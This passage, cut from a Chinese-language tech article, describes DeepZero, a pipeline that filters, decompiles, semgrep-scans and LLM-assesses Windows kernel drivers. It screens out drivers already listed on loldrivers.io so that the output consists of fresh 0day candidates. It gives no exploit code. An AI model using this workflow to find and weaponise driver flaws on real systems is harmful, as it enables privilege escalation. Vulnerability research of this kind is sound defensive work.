leaf="">阻断名单 (blocklist)</span></em><span leaf="">来使用,以便研究者把精力集中在 </span><strong><span leaf="">尚未被收录的驱动</span></strong><span leaf="">上 — 也就是新鲜 0day 的候选目标。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">架构:四种处理器类型</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每条 DeepZero 流水线都以一个 </span><strong><span leaf="">Ingest</span></strong><span leaf="">处理器作为起点,后续可任意组合 </span><strong><span leaf="">Map</span></strong><span leaf="">、</span><strong><span leaf="">BulkMap</span></strong><span leaf="">与 </span><strong><span leaf="">Reduce</span></strong><span leaf="">处理器,而每种处理器都具有不同的输入/输出语义。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" nodeleaf=""><img data-aistatus="1" alt="DeepZero 处理器流水线示意图" class="rich_pages wxw-img" data-ratio="0.327445652173913" data-type="png" data-w="736" style="max-width: 100%;" data-imgfileid="100012273" src="https://wechat2rss.xlab.app/img-proxy/?k=47dc6aaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjVRx4D0v2tSDUjQDcYPxG7mia9dmqyHsbTjUjCojSQGsaf62eE5Z7hCjBc16bKCRhujhk9LyCHb41icR2ePEeHDtOR0Ioqlnyts%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每个 Map 处理器都会返回一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ProcessorResult</span></code><span leaf="">,其结果有三种可能:</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ok</span></code><span leaf="">(样本继续向下传递)、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">filter</span></code><span leaf="">(主动剔除) 或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fail</span></code><span leaf="">(处理出错) — 这让引擎在整次运行过程中都能清晰地保留三态判定追踪。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">LOLDrivers Pipeline 详解</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">仓库自带的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pipelines/loldrivers/</span></code><span leaf="">流水线是一条由七个阶段组成的漏洞研究流水线:</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">discover</span></code><p><span leaf="">(</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pe_ingest</span></code><span leaf="">) — 借助 LIEF 进行 PE 头部解析的 ingest 阶段;提取驱动元数据与攻击面相关信号</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernel_filter</span></code><p><span leaf="">(</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">metadata_filter</span></code><span leaf="">) — 仅保留具有 IOCTL 接口的内核态驱动,并按 SHA256 去重</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">loldrivers_filter</span></code><p><span leaf="">— 排除已在 loldrivers.io 上被收录的驱动 (已知不良跳过列表)</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">decompile</span></code><p><span leaf="">(</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ghidra_decompile</span></code><span leaf="">) — 使用 Ghidra 无头模式进行反编译,并提取 IOCTL 分发逻辑</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">semgrep_scanner</span></code><p><span leaf="">— 使用自定义规则对反编译后的 C 源码批量执行 semgrep 扫描</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pick_top_10</span></code><p><span leaf="">(</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">top_k</span></code><span leaf="">) — 按 semgrep 命中数量排序,留下前 10 个候选目标</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">assess</span></code><p><span leaf="">(</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">generic_llm</span></code><span leaf="">) — 由 LLM 对每个剩余候选样本做深度分析</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">随附的 semgrep 规则覆盖了经典的内核驱动漏洞类别:</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">arbitrary_rw</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">buffer_overflow</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">method_neither</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">msr_access</span></code><span leaf="">。LLM 评估阶段使用 Jinja2 提示词模板,支持高达 900,000 tokens 的上下文窗口,并能通过正则表达式将输出分类为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[VULNERABLE]</span></code><span leaf="">/ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[SAFE]</span></code><span leaf="">标签。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">状态持久化与容错</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 在状态模型上的设计是其最贴近威胁研究人员需求的亮点之一。所有运行状态都存放在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">work/&lt;pipeline&gt;/</span></code><span leaf="">目录下,每个样本拥有独立的子目录,其中包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">state.json</span></code><span leaf="">、一个供 LLM 阅读的自动生成 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">context.md</span></code><span leaf="">,以及处理器产生的工件 (反编译源码、漏洞发现等)。写入操作均为 </span><strong><span leaf="">原子化</span></strong><span leaf="">(先写入临时文件,再 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">os.replace</span></code><span leaf="">),并且针对 Windows 上短暂出现的反病毒文件锁问题做了重试处理 — 这在扫描内核驱动时是相当贴心的考量,因为扫描内核驱动几乎一定会触发 AV。再次执行完全相同的命令会立刻从磁盘状态恢复;</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--clean</span></code><span leaf="">则会清除此前所有状态。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CLI 命令面</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero</span></code><span leaf="">CLI 暴露了完整的工作流:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero run &lt;target&gt; -p &lt;pipeline&gt;</span></code><p><span leaf="">— 执行或自动恢复一条流水线</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero status -p &lt;name&gt;</span></code><p><span leaf="">— 查看运行状态</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero validate</span></code><p><span leaf="">— 在不执行的情况下检查流水线定义</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero list-processors</span></code><p><span leaf="">— 枚举所有内置处理器</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero init &lt;name&gt;</span></code><p><span leaf="">— 生成新流水线骨架</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero interactive -m openai/gpt-4o</span></code><p><span leaf="">— 基于 LLM 的 REPL,可直接对运行数据进行问答</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">deepzero serve</span></code><p><span leaf="">— 启动 (实验性的) REST API,运行于 Starlette + Uvicorn 之上</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">REST API 暴露了一组只读端点,包括 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/api/runs</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/api/samples</span></code><span leaf="">(可按 verdict/stage/status 过滤) 和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/api/samples/{id}/artifacts/{name}</span></code><span leaf="">— 不过维护者已醒目地标注其仍在开发中且部分功能存在故障。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">内置处理器</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DeepZero 开箱即用,自带七种内置处理器,覆盖了常见的流水线原语:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">file_discovery</span></code><p><span leaf="">— 带 SHA256 哈希的 ingest</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">metadata_filter</span></code><p><span leaf="">— 字段相等性、最小/最大阈值、去重</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">hash_exclude</span></code><p><span leaf="">— 内联或文件形式的哈希排除</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">generic_llm</span></code><p><span leaf="">— Jinja2 → LiteLLM → 输出文件,可选地配合正则进行结果分类</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">generic_command</span></code><p><span leaf="">— 把任意 shell 命令封装为一个阶段,并支持模板变量替换</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">top_k</span></code><p><span leaf="">— 按数值指标保留前 N 个</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sort</span></code><p><span leaf="">— 仅按指标重新排序,但不做过滤</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">作为示例随附的外部处理器包括 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ghidra_decompile</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">loldrivers_filter</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pe_ingest</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">semgrep_scanner</span></code><span leaf="">。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span 